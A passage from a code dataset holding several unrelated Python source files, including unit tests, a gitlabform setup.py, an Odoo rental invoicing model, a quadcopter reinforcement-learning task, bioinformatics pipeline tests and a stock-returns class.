ModuleInputTypeEnum.TensorCacheElement\n\n\tdef to_json(self) -> Dict:\n\t\tjson_dict = super().to_json()\n\t\tjson_dict[\"tensor_data\"] = self.__tensor_data\n\t\treturn json_dict\n\n\nclass JsonParsableTest(unittest.TestCase):\n\n\tdef test_parse_json(self):\n\n\t\timage_bytes_base64string = str(uuid.uuid4())\n\t\timage_extension = str(uuid.uuid4())\n\t\timage_module_input_json_parsable = ImageModuleInputJsonParsable(\n\t\t\timage_bytes_base64string=image_bytes_base64string,\n\t\t\timage_extension=image_extension\n\t\t)\n\t\tactual_json_dict = image_module_input_json_parsable.to_json()\n\t\texpected_json_dict = {\n\t\t\t\"__module_input_type\": ModuleInputTypeEnum.Image.value,\n\t\t\t\"image_bytes_base64string\": image_bytes_base64string,\n\t\t\t\"image_extension\": image_extension\n\t\t}\n\n\t\tself.assertEqual(expected_json_dict, actual_json_dict)\n\n\t\twith self.assertRaises(JsonParsableException):\n\t\t\tactual_object = JsonParsable.parse_json(\n\t\t\t\tjson_dict=actual_json_dict\n\t\t\t) # type: ImageModuleInputJsonParsable\n\n\t\tactual_object = ModuleInputJsonParsable.parse_json(\n\t\t\tjson_dict=actual_json_dict\n\t\t) # type: ImageModuleInputJsonParsable\n\n\t\tself.assertEqual(image_bytes_base64string, actual_object.get_image_bytes_base64string())\n\t\tself.assertEqual(image_extension, actual_object.get_image_extension())\n\t\tself.assertTrue(isinstance(actual_object, ImageModuleInputJsonParsable))\n\n\tdef test_invalid_json_type(self):\n\t\timage_bytes_base64string = str(uuid.uuid4())\n\t\timage_extension = str(uuid.uuid4())\n\t\timage_module_input_json_parsable = ImageModuleInputJsonParsable(\n\t\t\timage_bytes_base64string=image_bytes_base64string,\n\t\t\timage_extension=image_extension\n\t\t)\n\t\tactual_json_dict = image_module_input_json_parsable.to_json()\n\t\tactual_json_dict[ModuleInputJsonParsable.get_json_parsable_type_dictionary_key()] = str(uuid.uuid4())\n\n\t\twith self.assertRaises(JsonParsableException):\n\t\t\ttest = ModuleInputJsonParsable.parse_json(\n\t\t\t\tjson_dict=actual_json_dict\n\t\t\t)\n\n\tdef test_parse_exact_json_type(self):\n\t\timage_bytes_base64string = str(uuid.uuid4())\n\t\timage_extension = str(uuid.uuid4())\n\t\timage_module_input_json_parsable = ImageModuleInputJsonParsable(\n\t\t\timage_bytes_base64string=image_bytes_base64string,\n\t\t\timage_extension=image_extension\n\t\t)\n\t\tactual_json_dict = image_module_input_json_parsable.to_json()\n\n\t\tactual_object = ImageModuleInputJsonParsable.parse_json(\n\t\t\tjson_dict=actual_json_dict\n\t\t)\n\n\t\tself.assertEqual(image_bytes_base64string, actual_object.get_image_bytes_base64string())\n\t\tself.assertEqual(image_extension, actual_object.get_image_extension())\n\t\tself.assertTrue(isinstance(actual_object, ImageModuleInputJsonParsable))\n\n\tdef test_parse_exact_json_type_wrong_type(self):\n\t\timage_bytes_base64string = str(uuid.uuid4())\n\t\timage_extension = str(uuid.uuid4())\n\t\timage_module_input_json_parsable = ImageModuleInputJsonParsable(\n\t\t\timage_bytes_base64string=image_bytes_base64string,\n\t\t\timage_extension=image_extension\n\t\t)\n\t\tactual_json_dict = image_module_input_json_parsable.to_json()\n\t\tactual_json_dict[ModuleInputJsonParsable.get_json_parsable_type_dictionary_key()] = str(uuid.uuid4())\n\n\t\twith self.assertRaises(JsonParsableException):\n\t\t\tactual_object = TensorCacheElementModuleInputJsonParsable.parse_json(\n\t\t\t\tjson_dict=actual_json_dict\n\t\t\t)\n","repo_name":"AustinHellerRepo/Common","sub_path":"test/json_parsable_test.py","file_name":"json_parsable_test.py","file_ext":"py","file_size_in_byte":4799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18956769510","text":"from setuptools import setup, find_packages\nfrom pypandoc import convert\n\ndef convert_markdown_to_rst(file):\n return convert(file, 'rst')\n\n\nsetup(name='gitlabform',\n version=open('version').read(),\n description='Easy configuration as code tool for GitLab using config in plain YAML',\n long_description=convert_markdown_to_rst('README.md'),\n url='https://github.com/egnyte/gitlabform',\n author='Egnyte and GitHub Contributors',\n keywords=['gitlab', 'configuration-as-code'],\n classifiers=[\n \"Programming Language :: Python :: 3.5\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Development Status :: 4 - Beta\",\n \"Intended Audience :: Information Technology\",\n \"Intended Audience :: System Administrators\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n \"Topic :: Software Development :: Version Control :: Git\",\n ],\n packages=find_packages(),\n install_requires=[\n 'requests>=2.20.0',\n 'pyyaml>=4.2b1',\n 'Jinja2>=2.10.1,<3',\n ],\n tests_require=[\n 'pytest',\n ],\n setup_requires=[\n 'pypandoc',\n ],\n scripts=[\n 'bin/gitlabform',\n ],\n )\n","repo_name":"Serg1i/gitlabform","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"74452963282","text":"from easyocr import Reader\nimport argparse\nimport cv2.cv2 as cv2\n\ndef main():\n\n\tframe = cv2.imread('data/box_score_00.png')\n\t# frame = cv2.imread('data/pre_processing_05.png')\n\n\n\n\treader = Reader(lang_list=['en'], gpu=False)\n\tresults = reader.readtext(frame)\n\n\tfor (bbox, text, prob) in results:\n\t\t# display the OCR'd text and associated probability\n\t\tprint(text)\n\n\nif __name__ == '__main__':\n\tmain()","repo_name":"LewsTherin511/ocr","sub_path":"easy_ocr.py","file_name":"easy_ocr.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11649134412","text":"from datetime import datetime\nfrom openerp import models, fields, api, _\nfrom openerp.exceptions import Warning as UserError\n\n\nclass RentalDetailScheduleCommon(models.AbstractModel):\n _name = \"rental.detail_schedule_common\"\n _description = \"Abstract Model for Rental Schedule\"\n\n @api.multi\n def _compute_rental_state(self):\n for document in self:\n document.rental_state = \\\n document.detail_id.rental_id.state\n\n @api.multi\n def _compute_state(self):\n for document in self:\n state = \"uninvoiced\"\n if document.manual:\n state = \"done\"\n elif document.invoice_id and document.invoice_id.state == \"open\":\n state = \"invoiced\"\n elif document.invoice_id and document.invoice_id.state == \"paid\":\n state = \"done\"\n document.state = state\n\n detail_id = fields.Many2one(\n string=\"Details\",\n comodel_name=\"rental.detail_common\",\n ondelete=\"cascade\",\n )\n rental_id = fields.Many2one(\n string=\"# Rental\",\n comodel_name=\"rental.common\",\n related=\"detail_id.rental_id\",\n )\n partner_id = fields.Many2one(\n string=\"# Rental\",\n comodel_name=\"res.partner\",\n related=\"detail_id.rental_id.partner_id\",\n )\n object_id = fields.Many2one(\n string=\"Rental Object\",\n comodel_name=\"rental.object\",\n related=\"detail_id.object_id\",\n )\n date = fields.Date(\n string=\"Date\",\n required=True,\n )\n amount = fields.Float(\n string=\"Amount\",\n required=True,\n )\n amount_tax = fields.Float(\n string=\"Tax\",\n required=True,\n )\n invoice_line_id = fields.Many2one(\n string=\"Invoice Line\",\n comodel_name=\"account.invoice.line\",\n readonly=True,\n )\n invoice_id = fields.Many2one(\n string=\"# Invoice\",\n comodel_name=\"account.invoice\",\n readonly=True,\n )\n rental_state = fields.Selection(\n string=\"Rental State\",\n selection=[\n (\"draft\", \"Draft\"),\n (\"confirm\", \"Waiting for Approval\"),\n (\"approve\", \"Ready To Progress\"),\n (\"open\", \"In Progress\"),\n (\"done\", \"Done\"),\n (\"cancel\", \"Cancelled\"),\n (\"terminate\", \"Terminate\"),\n ],\n readonly=True,\n compute=\"_compute_rental_state\",\n store=True,\n )\n manual = fields.Boolean(\n string=\"Manually Controlled\",\n readonly=True,\n )\n state = fields.Selection(\n string=\"State\",\n selection=[\n (\"uninvoiced\", \"Uninvoiced\"),\n (\"invoiced\", \"Invoiced\"),\n (\"done\", \"Paid/Done\"),\n ],\n compute=\"_compute_state\",\n store=True,\n )\n\n @api.multi\n def action_create_invoice(self):\n for document in self:\n inv = document._create_invoice()\n inv.button_reset_taxes()\n\n @api.multi\n def _create_invoice(self):\n self.ensure_one()\n obj_inv = self.env[\"account.invoice\"]\n obj_inv_line = self.env[\"account.invoice.line\"]\n\n inv = obj_inv.create(\n self._prepare_invoice())\n self.write({\"invoice_id\": inv.id})\n\n inv_line = obj_inv_line.create(\n self._prepare_invoice_line(inv))\n self.write({\"invoice_line_id\": inv_line.id})\n\n return inv\n\n @api.multi\n def _get_receivable_account(self):\n self.ensure_one()\n result = False\n detail = self.detail_id\n rental_type = detail.rental_id.type_id\n if detail.invoice_schedule_method == \"prepaid\":\n result = rental_type.rental_prepaid_receivable_account_id\n else:\n result = rental_type.rental_receivable_account_id\n return result\n\n @api.multi\n def _get_invoice_detail_account(self):\n self.ensure_one()\n result = False\n detail = self.detail_id\n rental_object = detail.object_id\n if detail.invoice_schedule_method == \"prepaid\":\n result = rental_object.rental_prepaid_income_account_id\n else:\n result = rental_object.rental_income_account_id\n return result\n\n @api.multi\n def _get_receivable_journal(self):\n self.ensure_one()\n result = False\n detail = self.detail_id\n rental_type = detail.rental_id.type_id\n if detail.invoice_schedule_method == \"prepaid\":\n result = rental_type.rental_prepaid_receivable_journal_id\n else:\n result = rental_type.rental_receivable_journal_id\n return result\n\n @api.multi\n def _prepare_invoice(self):\n self.ensure_one()\n\n account = self._get_receivable_account()\n if not account:\n raise UserError(_(\n \"Receivable account is not configured. \\n\"\n \"Please contact administrator\"))\n\n journal = self._get_receivable_journal()\n if not journal:\n raise UserError(_(\n \"Rental sale journal is not configured. \\n\"\n \"Please contact administrator\"))\n\n name = self._get_invoice_description()\n\n rental = self.detail_id.rental_id\n\n return {\n \"origin\": self.detail_id.rental_id.name,\n \"date_invoice\": self.date,\n \"partner_id\": self.detail_id.partner_id.id,\n \"account_id\": account.id,\n \"payment_term\": self.detail_id.payment_term_id.id,\n \"type\": \"out_invoice\",\n \"fiscal_position\": self.detail_id.fiscal_position_id.id,\n \"company_id\": self.detail_id.company_id.id,\n \"currency_id\": rental.currency_id.id,\n \"journal_id\": journal.id,\n \"name\": name,\n }\n\n @api.multi\n def _get_invoice_description(self):\n self.ensure_one()\n type = self.detail_id.rental_id.type_id\n if type.rental_invoice_name_method == \"default\":\n return self._get_default_invoice_description()\n else:\n return type._generate_rental_invoice_description(self)\n\n @api.multi\n def _get_default_invoice_description(self):\n self.ensure_one()\n detail = self.detail_id\n rental = detail.rental_id\n period = dict(detail._fields[\"period\"].selection).get(detail.period)\n result = \"%s invoice for # %s\" % (period, rental.name)\n return result\n\n @api.multi\n def _prepare_invoice_line(self, inv):\n self.ensure_one()\n\n rental = self.detail_id.rental_id\n account = self._get_invoice_detail_account()\n analytic = rental.account_analytic_id\n return {\n \"invoice_id\": inv.id,\n \"name\": _(\"Rental\"),\n \"account_analytic_id\": analytic and analytic.id or False,\n 'account_id': account.id,\n 'product_id': self.detail_id.object_id.product_id.id,\n 'uos_id': self.detail_id.uom_id.id,\n 'quantity': 1,\n 'price_unit': self.amount,\n 'invoice_line_tax_id': [(6, 0, self.detail_id.taxes_id.ids)],\n 'discount': 0.0,\n }\n\n @api.multi\n def action_uncontrol_schedule(self):\n for document in self:\n document.write(document._prepare_uncontrol_schedule())\n\n @api.multi\n def action_control_schedule(self):\n for document in self:\n document.write(document._prepare_control_schedule())\n\n @api.multi\n def _prepare_uncontrol_schedule(self):\n self.ensure_one()\n return {\n \"manual\": True,\n }\n\n @api.multi\n def _prepare_control_schedule(self):\n self.ensure_one()\n return {\n \"manual\": False,\n }\n\n @api.model\n def run_create_invoice(self):\n date_now =\\\n datetime.now().strftime(\"%Y-%m-%d\")\n criteria = [\n (\"date\", \"=\", date_now),\n (\"rental_state\", \"=\" \"open\"),\n ]\n schedules = self.search(criteria)\n if len(schedules) > 0:\n schedules.action_create_invoice()\n","repo_name":"open-synergy/opnsynid-rental","sub_path":"rental_common/models/rental_detail_schedule_common.py","file_name":"rental_detail_schedule_common.py","file_ext":"py","file_size_in_byte":8051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12740771314","text":"import numpy as np\nfrom physics_sim import PhysicsSim\n\nclass Task():\n \"\"\"Task (environment) that defines the goal and provides feedback to the agent.\"\"\"\n def __init__(self, init_pose=None, init_velocities=None, \n init_angle_velocities=None, runtime=5., target_pos=None):\n \"\"\"Initialize a Task object.\n Params\n ======\n init_pose: initial position of the quadcopter in (x,y,z) dimensions and the Euler angles\n init_velocities: initial velocity of the quadcopter in (x,y,z) dimensions\n init_angle_velocities: initial radians/second for each of the three Euler angles\n runtime: time limit for each episode - originally only 5\n target_pos: target/goal (x,y,z) position for the agent\n \"\"\"\n # Simulation\n self.sim = PhysicsSim(init_pose, init_velocities, init_angle_velocities, runtime) \n self.action_repeat = 3\n\n self.state_size = self.action_repeat * 6\n self.action_low = 1\n self.action_high = 900\n self.action_size = 4\n\n # Goal\n self.target_pos = target_pos if target_pos is not None else np.array([0., 0., 10., 0., 0., 0.])\n\n def get_reward(self):\n \"\"\"Uses current pose of sim to return reward.\"\"\"\n\n def sigmoid(x):\n \"\"\"Squash the inputs between 0 and 1.\"\"\"\n return 1 / (1 + np.exp(-x))\n \n # scaling factor for runtime\n factor = 0.1\n \n # squash the Euclidean distance between current coordinates and target coordinates\n # https://stackoverflow.com/questions/1401712/how-can-the-euclidean-distance-be-calculated-with-numpy\n # https://machinelearningmastery.com/vector-norms-machine-learning/\n reward = sigmoid(np.linalg.norm(self.sim.pose[:3] - self.target_pos[:3]))\n \n # subtract the reward from 0.5 to represent the rewarding mechanism\n reward = factor * (0.5 - reward)\n \n return reward\n\n def step(self, rotor_speeds):\n \"\"\"Uses action to obtain next state, reward, done.\"\"\"\n reward = 0\n pose_all = []\n for _ in range(self.action_repeat):\n done = self.sim.next_timestep(rotor_speeds) # update the sim pose and velocities\n reward += self.get_reward() \n pose_all.append(self.sim.pose)\n next_state = np.concatenate(pose_all)\n return next_state, reward, done\n\n def reset(self):\n \"\"\"Reset the sim to start a new episode.\"\"\"\n self.sim.reset()\n state = np.concatenate([self.sim.pose] * self.action_repeat)\n self.num_steps = 0 \n return state","repo_name":"felixhllou/Udacity_Machine_Learning","sub_path":"P5_Teach_a_Quadcopter_How_to_Fly/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":2635,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"70953561681","text":"import os\nimport sys\nimport multiprocessing as mp\nimport multiprocessing.pool as pool\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.stats import wilcoxon\n\nbasedir = os.path.split(os.path.dirname(os.path.abspath(__file__)))[0]\nsys.path.append(basedir)\nsys.path.append(os.path.dirname(os.path.abspath(__file__)))\n\n\nclass NoDaemonProcess(mp.Process):\n # make 'daemon' attribute always return False\n def _get_daemon(self):\n return False\n\n def _set_daemon(self, value):\n pass\n\n daemon = property(_get_daemon, _set_daemon)\n\n\n# We sub-class multiprocessing.pool.Pool instead of multiprocessing.Pool\n# because the latter is only a wrapper function, not a proper class.\nclass Pool(pool.Pool):\n Process = NoDaemonProcess\n\n\ndef compare_two_csvs(path_to_csv_1, path_to_csv_2, experiment, axis_name_1, axis_name_2,\n roundto=3, entry_name='auc'):\n file1 = pd.read_csv(path_to_csv_1)\n file2 = pd.read_csv(path_to_csv_2)\n\n file2['RBP'] = pd.Categorical(\n file2['RBP'],\n categories=file1['RBP'],\n ordered=True\n )\n file2 = file2.sort_values('RBP')\n auc_1 = np.array(file1[entry_name][:len(file2[entry_name])]).astype(np.float32).round(roundto)\n auc_2 = np.array(file2[entry_name]).astype(np.float32).round(roundto)\n\n font = {'fontname': 'Times New Roman', 'size': 14}\n fig = plt.figure(figsize=(5, 5))\n ax = fig.add_subplot(111)\n plt.title(experiment, **font)\n plt.plot([0, 1], [0, 1])\n plt.plot([0, 1], [0.01, 1.01], 'k--')\n plt.plot([0, 1], [-0.01, 0.99], 'k--')\n xlim = 0.6 if 'auc' in entry_name else 0.\n plt.xlim([xlim, 1.0])\n plt.ylim([xlim, 1.05])\n # plt.xlabel(axis_name_1 + '\\n' + '%.{0}f\\u00b1%.{0}f'.format(roundto) % (auc_1.mean(), auc_1.std()), **font)\n # plt.ylabel(axis_name_2 + '\\n' + '%.{0}f\\u00b1%.{0}f'.format(roundto) % (auc_2.mean(), auc_2.std()), **font)\n plt.xlabel(axis_name_1, **font)\n plt.ylabel(axis_name_2, **font)\n\n idx_pos = np.where(auc_1 > auc_2)[0]\n pos = plt.scatter(auc_1[idx_pos], auc_2[idx_pos], color='b', marker='x')\n\n idx_neg = np.where(auc_1 < auc_2)[0]\n neg = plt.scatter(auc_1[idx_neg], auc_2[idx_neg], color='r', marker='o')\n print(np.argmax(idx_neg))\n\n idx_neu = np.where(auc_1 == auc_2)[0]\n neu = plt.scatter(auc_1[idx_neu], auc_2[idx_neu], color='w')\n\n legend = plt.legend([pos, neg, neu], ['%s is better:%d' % (axis_name_1, len(idx_pos)),\n '%s is better:%d' % (axis_name_2, len(idx_neg)), 'draw:%d' % (len(idx_neu))],\n scatterpoints=1, loc='lower right')\n plt.setp(legend.texts, **font)\n # for i, (val_1, val_2) in enumerate(zip(auc_1, auc_2)):\n # if val_2 > val_1 and val_2 - val_1 > 0.1 * val_1:\n # ax.annotate(file2['RBP'][i], (val_1, val_2))\n\n plt.tight_layout()\n if not os.path.exists('../Graph'):\n os.mkdir('../Graph')\n plt.savefig('../Graph/%s.png' % (experiment), dpi=300)\n\n\ndef wilcoxon_test(path_to_csv_1, path_to_csv_2, roundto=3, entry_name='auc'):\n file1 = pd.read_csv(path_to_csv_1)\n file2 = pd.read_csv(path_to_csv_2)\n\n file2['RBP'] = pd.Categorical(\n file2['RBP'],\n categories=file1['RBP'],\n ordered=True\n )\n file2 = file2.sort_values('RBP')\n\n auc_1 = np.array(file1[entry_name][:len(file2[entry_name])]).round(roundto)\n auc_2 = np.array(file2[entry_name]).round(roundto)\n return wilcoxon(auc_2, auc_1, alternative='greater')\n\n\nif __name__ == \"__main__\":\n\n # compare_two_csvs(\n # '../output/Joint-MRT-Graphprot-debiased/rnaplfold-results.csv',\n # '../output/Joint-ada-sampling-debiased/rnaplfold-results.csv',\n # 'RPI-Net(GNN) vs RPI-Net(CNN)', 'RPI-Net(CNN)', 'RPI-Net(GNN)', entry_name='original_auc')\n # print(wilcoxon_test('../output/Joint-MRT-Graphprot-debiased/rnaplfold-results.csv',\n # '../output/Joint-ada-sampling-debiased/rnaplfold-results.csv', entry_name='original_auc'))\n #\n # compare_two_csvs(\n # '../output/graphprot/graphprot_results.csv',\n # '../output/Joint-ada-sampling-debiased/rnaplfold-results.csv',\n # 'RPI-Net(GNN) vs GraphProt', 'GraphProt', 'RPI-Net(GNN)', entry_name='original_auc')\n # print(wilcoxon_test('../output/graphprot/graphprot_results.csv',\n # '../output/Joint-ada-sampling-debiased/rnaplfold-results.csv', entry_name='original_auc'))\n #\n compare_two_csvs(\n '../output/ideepe/ideepe.csv',\n '../output/Joint-ada-sampling-debiased/rnaplfold-results.csv',\n 'RPI-Net(GNN) vs iDeepE', 'iDeepE', 'RPI-Net(GNN)', entry_name='original_auc')\n print(wilcoxon_test('../output/ideepe/ideepe.csv',\n '../output/Joint-ada-sampling-debiased/rnaplfold-results.csv', entry_name='original_auc'))\n\n # compare_two_csvs(\n # '../output/mdbn-results.csv',\n # '../output/Joint-ada-sampling-debiased/rnaplfold-results.csv',\n # 'RPI-Net(GNN) vs mDBN+', 'mDBN+', 'RPI-Net(GNN)', entry_name='original_auc')\n # print(wilcoxon_test('../output/mdbn-results.csv',\n # '../output/Joint-ada-sampling-debiased/rnaplfold-results.csv', entry_name='original_auc'))\n","repo_name":"HarveyYan/RNAonGraph","sub_path":"lib/general_utils.py","file_name":"general_utils.py","file_ext":"py","file_size_in_byte":5233,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"3"} +{"seq_id":"21878846570","text":"\nimport luigi\nimport os\n\nfrom shutil import rmtree\nfrom os.path import join, dirname, isfile, isdir, abspath\nfrom unittest import TestCase, skip\nimport luigi\n\nfrom cap2.pipeline.preprocessing.count_reads import CountRawReads\nfrom cap2.pipeline.preprocessing.fastqc import FastQC\nfrom cap2.pipeline.preprocessing.map_to_human import RemoveHumanReads\nfrom cap2.pipeline.preprocessing.map_to_mouse import RemoveMouseReads\nfrom cap2.pipeline.preprocessing.error_correct_reads import ErrorCorrectReads\nfrom cap2.pipeline.preprocessing.remove_adapters import AdapterRemoval\nfrom cap2.pipeline.preprocessing.fast_taxa import FastKraken2\nfrom cap2.pipeline.preprocessing.basic_sample_stats import BasicSampleStats\n\nRAW_READS_1 = join(dirname(__file__), 'data/zymo_pos_cntrl.r1.fq.gz')\nRAW_READS_2 = join(dirname(__file__), 'data/zymo_pos_cntrl.r2.fq.gz')\nTEST_CONFIG = join(dirname(__file__), 'data/test_config.yaml')\n\ndef data_file(fname):\n return join(dirname(__file__), 'data', fname)\n\n\nclass DummyHumanRemovalDB(luigi.ExternalTask):\n\n @property\n def bowtie2_index(self):\n return join(dirname(__file__), 'data/hg38/genome_sample')\n\n def output(self):\n return luigi.LocalTarget(join(dirname(__file__), 'data/hg38/genome_sample.1.bt2'))\n\n\nclass DummyMouseRemovalDB(luigi.ExternalTask):\n\n @property\n def bowtie2_index(self):\n return join(dirname(__file__), 'data/hg38/genome_sample')\n\n def output(self):\n return luigi.LocalTarget(join(dirname(__file__), 'data/hg38/genome_sample.1.bt2'))\n\n\nclass DummyAdapterRemovedReads(luigi.ExternalTask):\n\n @property\n def reads(self):\n return [RAW_READS_1, RAW_READS_2]\n\n def output(self):\n return {\n 'adapter_removed_reads_1': luigi.LocalTarget(self.reads[0]),\n 'adapter_removed_reads_2': luigi.LocalTarget(self.reads[1]),\n }\n\n\nclass DummyMouseRemovedReads(luigi.ExternalTask):\n\n @property\n def reads(self):\n return [RAW_READS_1, RAW_READS_2]\n\n def output(self):\n return {\n 'bam': None,\n 'nonmouse_reads_1': luigi.LocalTarget(self.reads[0]),\n 'nonmouse_reads_2': luigi.LocalTarget(self.reads[1]),\n }\n\n\nclass DummyHumanRemovedReads(luigi.ExternalTask):\n\n @property\n def reads(self):\n return [RAW_READS_1, RAW_READS_2]\n\n def output(self):\n return {\n 'bam': None,\n 'nonhuman_reads_1': luigi.LocalTarget(self.reads[0]),\n 'nonhuman_reads_2': luigi.LocalTarget(self.reads[1]),\n }\n\n\nclass DummyKraken2DB(luigi.ExternalTask):\n\n @property\n def kraken2_db(self):\n return join(dirname(__file__), 'data/kraken2')\n\n def output(self):\n return {'kraken2_db_taxa': luigi.LocalTarget(self.kraken2_db)}\n\n\nclass DummyFastKraken2(luigi.ExternalTask):\n\n def output(self):\n return {\n 'report': luigi.LocalTarget(data_file('kraken2_report.tsv')),\n 'read_assignments': luigi.LocalTarget(data_file('kraken2_read_assignments.tsv')),\n }\n\n\nclass TestPipelinePreprocessing(TestCase):\n\n def tearDownClass():\n pass\n rmtree('test_out')\n\n def test_invoke_count_raw_reads(self):\n instance = CountRawReads(\n pe1=RAW_READS_1,\n pe2=RAW_READS_2,\n sample_name='test_sample',\n config_filename=TEST_CONFIG,\n cores=1\n )\n luigi.build([instance], local_scheduler=True)\n self.assertTrue(isfile(instance.output()['read_counts'].path))\n text = open(instance.output()['read_counts'].path).read()\n self.assertIn('raw_reads,1000', text)\n\n def test_invoke_fastqc(self):\n instance = FastQC(\n pe1=RAW_READS_1,\n pe2=RAW_READS_2,\n sample_name='test_sample',\n config_filename=TEST_CONFIG,\n cores=1\n )\n luigi.build([instance], local_scheduler=True)\n self.assertTrue(isfile(instance.output()['zip_output'].path))\n self.assertTrue(isfile(instance.output()['report'].path))\n\n def test_fast_taxa(self):\n instance = FastKraken2(\n pe1=RAW_READS_1,\n pe2=RAW_READS_2,\n sample_name='test_sample',\n config_filename=TEST_CONFIG,\n cores=1\n )\n instance.db = DummyKraken2DB()\n luigi.build([instance], local_scheduler=True)\n self.assertTrue(isfile(instance.output()['read_assignments'].path))\n self.assertTrue(isfile(instance.output()['report'].path))\n\n def test_basic_sample_stats(self):\n instance = BasicSampleStats(\n pe1=RAW_READS_1,\n pe2=RAW_READS_2,\n sample_name='test_sample',\n config_filename=TEST_CONFIG,\n cores=1\n )\n instance.taxa = DummyFastKraken2()\n instance.READ_STATS_DROPOUT = 1 / 10\n luigi.build([instance], local_scheduler=True)\n self.assertTrue(isfile(instance.output()['report'].path))\n\n def test_adapter_remove_reads(self):\n instance = AdapterRemoval(\n pe1=RAW_READS_1,\n pe2=RAW_READS_2,\n sample_name='test_sample',\n config_filename=TEST_CONFIG,\n cores=1\n )\n luigi.build([instance], local_scheduler=True)\n self.assertTrue(isfile(instance.output()['adapter_removed_reads_1'].path))\n self.assertTrue(isfile(instance.output()['adapter_removed_reads_2'].path))\n\n def test_invoke_remove_mouse_reads(self):\n if 'CIRCLECI_TESTS' in os.environ: # do not run this test on circleci\n return\n instance = RemoveMouseReads(\n pe1=RAW_READS_1,\n pe2=RAW_READS_2,\n sample_name='test_sample',\n config_filename=TEST_CONFIG,\n cores=1\n )\n instance.db = DummyMouseRemovalDB()\n instance.adapter_removed_reads = DummyAdapterRemovedReads()\n luigi.build([instance], local_scheduler=True)\n self.assertTrue(isfile(instance.output()['bam'].path))\n self.assertTrue(isfile(instance.output()['nonmouse_reads_1'].path))\n self.assertTrue(isfile(instance.output()['nonmouse_reads_2'].path))\n\n def test_invoke_remove_human_reads(self):\n if 'CIRCLECI_TESTS' in os.environ: # do not run this test on circleci\n return\n instance = RemoveHumanReads(\n pe1=RAW_READS_1,\n pe2=RAW_READS_2,\n sample_name='test_sample',\n config_filename=TEST_CONFIG,\n cores=1\n )\n instance.db = DummyHumanRemovalDB()\n instance.mouse_removed_reads = DummyMouseRemovedReads()\n luigi.build([instance], local_scheduler=True)\n self.assertTrue(isfile(instance.output()['bam'].path))\n self.assertTrue(isfile(instance.output()['nonhuman_reads_1'].path))\n self.assertTrue(isfile(instance.output()['nonhuman_reads_2'].path))\n\n def test_error_correct_reads(self):\n instance = ErrorCorrectReads(\n pe1=RAW_READS_1,\n pe2=RAW_READS_2,\n sample_name='test_sample',\n config_filename=TEST_CONFIG,\n cores=1\n )\n instance.nonhuman_reads = DummyHumanRemovedReads()\n luigi.build([instance], local_scheduler=True)\n self.assertTrue(isfile(instance.output()['error_corrected_reads_1'].path))\n self.assertTrue(isfile(instance.output()['error_corrected_reads_2'].path))\n","repo_name":"MetaSUB/CAP2","sub_path":"tests/test_pipeline_preprocessing.py","file_name":"test_pipeline_preprocessing.py","file_ext":"py","file_size_in_byte":7411,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"} +{"seq_id":"29433846144","text":"import pandas_datareader as web\r\nimport datetime as dt\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.stats import kurtosis, skew\r\n\r\nclass Stock:\r\n\r\n def __init__(self, ticker):\r\n self.ticker = ticker.upper()\r\n self.valid = True\r\n self.price, self.clos = self.get_price()\r\n if self.valid:\r\n self.simple_returns, self.simple_mean = self.get_returns_simple()\r\n self.log_returns, self.log_mean = self.get_returns_log()\r\n self.worth = 0\r\n self.value = 0\r\n self.gain = self.gains()\r\n self.weight = 0\r\n self.optweight = 0\r\n self.shares = 0\r\n self.cb = 0\r\n\r\n def __repr__(self):\r\n return str(self.ticker)\r\n\r\n def get_price(self, delta = 365):\r\n end = dt.datetime.today()\r\n start = end - dt.timedelta(days=delta)\r\n try:\r\n clos = web.get_data_yahoo(self.ticker,start,end)['Close']\r\n price = clos[-1]\r\n return price, clos\r\n except:\r\n print('\\nInvalid ticker')\r\n self.valid = False\r\n return 0, 0\r\n\r\n def get_returns_simple(self, delta = 365):\r\n _, clos = self.get_price(delta)\r\n simple_returns = clos.pct_change().dropna()\r\n return simple_returns, simple_returns.mean()\r\n\r\n def get_returns_log(self, delta = 365):\r\n _, adjclos = self.get_price(delta)\r\n log_returns = np.log(adjclos/adjclos.shift(1)).dropna()\r\n return log_returns, log_returns.mean()\r\n \r\n def gains(self, delta = 365):\r\n _, close = self.get_price(delta)\r\n return close[-1]-close[0]\r\n\r\n def dist_log(self, delta = 365):\r\n if delta != 365:\r\n returns, mean = self.get_returns_log(delta)\r\n else:\r\n returns, mean = self.log_returns, self.log_mean\r\n plot = plt.hist(100*returns, 35, density=True, facecolor='g')\r\n plt.title(f\"${self.ticker}\\nμ={mean:.4%} med={np.median(returns):.4%}\\nσ={returns.std():.4f}|S={skew(returns):.4f}|K={kurtosis(returns):.4f}\")\r\n plt.ylabel('Frequency')\r\n plt.xlabel(f'Log Return %')\r\n plt.grid(True)\r\n \r\n if __name__ == '__main__':\r\n show()\r\n return plot\r\n\r\n \r\ndef show():\r\n plt.show()\r\n plt.clf()\r\n \r\nif __name__ == '__main__':\r\n pass\r\n","repo_name":"crynom/finalyze","sub_path":"stock.py","file_name":"stock.py","file_ext":"py","file_size_in_byte":2373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12849853501","text":"#!/usr/bin/env python3\nimport numpy as np\nimport json\nimport sys\nimport re\nfrom calc_reff import reassign\ndef main(k,sum_array=[],mte=0.05,mse=0.05,mcse=0.05,ex_reg=[]):\n pi=3.1415926\n tmp1=list(range(1,11))\n tmp2=list(range(11,41,3))\n tmp3=list(range(41,3001,5))\n tmp1.extend(tmp2)\n 